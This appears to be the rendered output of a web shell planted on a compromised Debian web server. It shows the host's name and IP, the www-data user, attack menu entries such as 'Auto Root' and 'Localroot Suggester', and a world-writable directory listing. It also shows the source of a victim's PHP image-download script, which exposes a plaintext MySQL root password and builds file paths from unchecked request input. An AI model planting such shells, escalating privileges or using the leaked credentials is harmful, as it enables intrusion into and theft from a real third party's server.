Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
asiafood.apps-dev.fr /
api /
ryimg /
Delete
Unzip
Name
Size
Permission
Date
Action
images
[ DIR ]
drwxrwxrwx
2020-11-01 13:03
download.php
2.25
KB
-rwxrwxrwx
2020-11-01 12:56
index.php
128
B
-rwxrwxrwx
2020-11-01 12:56
product.php
2.3
KB
-rwxrwxrwx
2020-11-01 12:56
product_customer_price.php
926
B
-rwxrwxrwx
2021-01-25 11:15
product_virtual.php
3.72
KB
-rwxrwxrwx
2020-11-01 12:56
product_visibility.php
3.06
KB
-rwxrwxrwx
2020-11-01 12:56
Save
Rename
<?php if(isset($_GET)) { $ref = null; $dolapikey = null; if(isset($_GET['ref'])) { $ref = $_GET['ref']; } if(isset($_GET['DOLAPIKEY'])) { $dolapikey = $_GET['DOLAPIKEY']; } // no credential if($dolapikey == null) { echo 'no_credentials'; return; } // no module_part if($ref == null) { echo 'no_ref'; return; } $filePath = "produit/".$ref; $db = new PDO("mysql:host=localhost; dbname=asiafood_v8", "root", "sX3ODj5kddbFXMJq"); $query = "SELECT * FROM llx_ecm_files WHERE filepath = :filpath"; $stmt = $db->prepare($query); $stmt->execute(['filpath' => $filePath]); $ecmFiles = $stmt->fetchAll(PDO::FETCH_ASSOC); // var_dump($ecmFiles); $picFile = $ecmFiles[0]; // var_dump($picFile); $original_file = $ref."/".$picFile['filename']; // echo $original_file; // url de telechargement de l'image $url="http://asiafood.apps-dev.fr/api/index.php/documents/download?module_part=product&original_file=".$original_file."&DOLAPIKEY=".$dolapikey; // Initiate curl $ch = curl_init(); // Will return the response, if false it print the response curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Set the url curl_setopt($ch, CURLOPT_URL, $url); // Execute $result=curl_exec($ch); // Closing curl_close($ch); // Will dump a beauty json $resultArr = json_decode($result, true); // var_dump($resultArr); return; if (isset($resultArr['error'])) { echo $resultArr['error']['message']; return; } // Si le dossier du module_part n'existe pas, alors on le crée if (!file_exists("images/".$modulepart)) { mkdir("images/".$modulepart, 0777, true); } // $targetPath="D:/timekeeping/logs/94-20160908.dat"; $file_name = "images/".$modulepart."/".$resultArr['filename']; // $data = file_get_contents($targetPath); $content= base64_decode($resultArr['content']); $file = fopen($file_name, 'w'); fwrite($file, $content); fclose($file); header('content-type: image/jpg'); readfile($file_name); ob_clean(); flush(); return; echo 'modulepart = '.$modulepart.'\n original_file = '.$original_file.'\n dolapikey = '.$dolapikey; }